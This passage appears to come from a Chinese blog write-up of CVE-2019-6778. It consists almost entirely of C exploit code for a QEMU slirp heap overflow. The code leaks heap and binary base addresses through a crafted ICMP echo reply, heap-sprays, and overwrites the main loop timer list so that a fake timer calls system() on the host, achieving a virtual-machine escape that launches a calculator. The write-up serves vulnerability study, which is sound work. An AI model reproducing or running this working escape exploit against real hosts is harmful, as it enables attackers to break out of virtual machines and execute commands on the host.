uint8_t recv_buf[IP_MAXPACKET];
struct sockaddr recv_sin;
memset(&recv_sin, 0, sizeof(recv_sin));
socklen_t sock_addr_len = sizeof(struct sockaddr);
struct timeval wait, t1, t2;
struct timezone tz;
double tt;

(void)gettimeofday(&t1, &tz);
wait.tv_sec = 3; // 3 secends timeout.
wait.tv_usec = 0;
if(setsockopt(recv_sd, SOL_SOCKET, SO_RCVTIMEO, (char *)&wait, sizeof(struct timeval)) < 0){
perror("[*] setsockopt timeout failed. ---leak");
exit(EXIT_FAILURE);
}
recv_ip = (struct ip *)(recv_buf + ETH_HDRLEN);
recv_icmp = (struct icmp *)(recv_buf + ETH_HDRLEN + IP4_HDRLEN);
printf("[*] start to recvfrom data.\n");
while (1){
memset(recv_buf, 0, IP_MAXPACKET*sizeof(uint8_t));
memset(&recv_sin, 0, sizeof(struct sockaddr));
if((recv_size = recvfrom(recv_sd, recv_buf, IP_MAXPACKET, 0, (struct sockaddr *)&recv_sin, &sock_addr_len)) <= 0){
status = errno;
if(status == EAGAIN){
printf("[*] No replay within %li seconds. ---leak\n",wait.tv_sec);
exit(EXIT_FAILURE);
}else{
perror("[*] recvfrom() failed");
exit(EXIT_FAILURE);
}
}

if((((recv_buf[12] << 8) + (recv_buf[13])) == ETH_P_IP )&&
(recv_ip->ip_p == IPPROTO_ICMP) &&
(recv_icmp->icmp_type == ICMP_ECHOREPLY)){
(void)gettimeofday(&t2,&tz);
tt = (double)(t2.tv_sec - t1.tv_sec) * 1000.0 + (double)(t2.tv_usec - t1.tv_usec)/1000.0;
printf("%g ms (%i bytes recvived)\n",tt,recv_size);
if(recv_size < 0x200){
continue;
}
break;
}
}

// for(int i = 0; i < 0x200 / 8; i = i + 2){
// printf("%#lx %#lx\n", *(uint64_t*)(recv_buf + i * 8), *(uint64_t*)(recv_buf + (i+1) * 8));
// }
heap_base = *(uint64_t*)(recv_buf + 13 * 8) & 0xffffffffff000000;
elf_base = *(uint64_t*)(recv_buf + 16 * 8) - 0x463099;
main_thread_heap_base = *(uint64_t*)(recv_buf + 17 * 8) - 0x132d10;
printf("[*] leak_heap_base_is %#lx\n", heap_base);
printf("[*] leak_elf_base_is %#lx\n", elf_base);
printf("[*] leak_main_thread_heap_addr_is %#lx\n", main_thread_heap_base);


free(payload);
free(write_data);
close(sd);
close(recv_sd);
}

uint8_t buf[IP_MAXPACKET];
char cmd[0x40] = "gnome-calculator";

int main() {
//system("ip link set dev enp0s3 mtu 9000");
const char eth_frame[] =
"\x52\x56\x00\x00\x00\x02\x52\x54\x00\x12\x34\x56\x08\x00";
struct icmp *icmphdr;
struct ip *iphdr;

char src_ip[INET_ADDRSTRLEN], dst_ip[INET_ADDRSTRLEN];
int status;
memcpy(buf, eth_frame, ETH_HDRLEN);
iphdr = (struct ip *)(buf + ETH_HDRLEN);
strcpy(src_ip, "10.0.2.15");
strcpy(dst_ip, "10.0.2.2");
iphdr->ip_hl = IP4_HDRLEN / sizeof(uint32_t);
iphdr->ip_v = 4;
iphdr->ip_tos = 0;
iphdr->ip_len = ICMP_HDRLEN;
iphdr->ip_id = 0xcdcd;
// Zero (1 bit)
// Do not fragment flag (1 bit)
// More fragments following flag (1 bit)
// Fragmentation offset (13 bits)
iphdr->ip_off = ((0 << 15) + (0 << 14) + (0 << 13) + (0 >> 3));
iphdr->ip_ttl = 255;
iphdr->ip_p = IPPROTO_ICMP;
inet_pton(AF_INET, src_ip, &(iphdr->ip_src));
inet_pton(AF_INET, dst_ip, &(iphdr->ip_dst));
iphdr->ip_sum = 0;
iphdr->ip_sum = checksum((uint16_t *)&iphdr, IP4_HDRLEN);

icmphdr = (struct icmp *)(buf + ETH_HDRLEN + IP4_HDRLEN);
icmphdr->icmp_type = 8;
icmphdr->icmp_code = 0;
icmphdr->icmp_id = 0x1234;
icmphdr->icmp_seq = 0;
icmphdr->icmp_cksum = 0;
icmphdr->icmp_cksum = icmp4_checksum(*icmphdr, buf, 0);

int write_data_len = ETH_HDRLEN + IP4_HDRLEN + ICMP_HDRLEN;

//puts("[*]STEP 1: Write the icmp_data to heap");
//puts("[*] Start First Spray");
for(int i = 0; i < 0x200; ++i){
spray(0xaabb + i, 0x5dc);
//printf("Spray time %d.\n",i + 1);
}
write_anywhere(0xae0 - 0x400, 3, buf, write_data_len);

//puts("[*]STEP 2: Recv icmp_package and leak addr");
//puts("[*] Start Second Spray");
for(int i = 0; i < 0x20; ++i){
spray(0xccdd + i, 0x5dc);
//printf("Spray time %d.\n",i + 1);
}
leak(0xae0 + ETH_HDRLEN + IP4_HDRLEN, 3);

size_t system_plt = elf_base + 0x2a7390;
size_t main_loop_tlg = elf_base + 0x100d340;

//puts("[*]STEP 3: Hijack the main_loop_tlg");
size_t fake_timerlist_addr = heap_base + 0x1020;
size_t fake_timerlist[14];
int j = 0;
fake_timerlist[j++] = main_loop_tlg + 0x20;
fake_timerlist[j++] = 0;
fake_timerlist[j++] = 0;
fake_timerlist[j++] = 0;
fake_timerlist[j++] = 0;
fake_timerlist[j++] = 0;
fake_timerlist[j++] = 0;
fake_timerlist[j++] = 0x100000000;
fake_timerlist[j++] = heap_base + 0x1020 + 0x70;
fake_timerlist[j++] = 0;
fake_timerlist[j++] = main_loop_tlg;
fake_timerlist[j++] = elf_base + 0x2f8a34;
fake_timerlist[j++] = 0;
fake_timerlist[j++] = 0x100000000;

size_t fake_timer[8];
size_t cmd_addr = heap_base + 0x1020 + 0x70 + 0x40;
j = 0;
fake_timer[j++] = 0xffffffffffffffff;
fake_timer[j++] = heap_base + 0x1020;
fake_timer[j++] = system_plt;
fake_timer[j++] = cmd_addr;
fake_timer[j++] = 0;
fake_timer[j++] = 0;

memcpy(buf, fake_timerlist, 0x70);
memcpy(buf + 0x70, fake_timer, 0x40);
memcpy(buf + 0x70 + 0x40, cmd, 0x40);

//puts("[*] Start Third Spray");
for(int i = 0; i < 0x20; ++i){
spray(0xeeff + i, 0x5dc);
//printf("Spray time %d.\n",i + 1);
}

write_anywhere(fake_timerlist_addr - 0x400, 8, buf, 0xf0);

//puts("[*] Start Fourth Spray");
for(int i = 0; i < 0x30; ++i){
spray(0xffee + i, 0x5dc);
//printf("Spray time %d.\n",i + 1);
}

memcpy(buf, &fake_timerlist_addr, 8);
write_anywhere(main_loop_tlg - 0x400, 8, buf, 8);
return 0;
}

最后效果如下:


CVE-2019-6778
https://xtxtn.github.io/2023/10/07/CVE-2019-6778/
作者
xtxtn
发布于
2023年10月7日
更新于
2023年10月12日
许可协议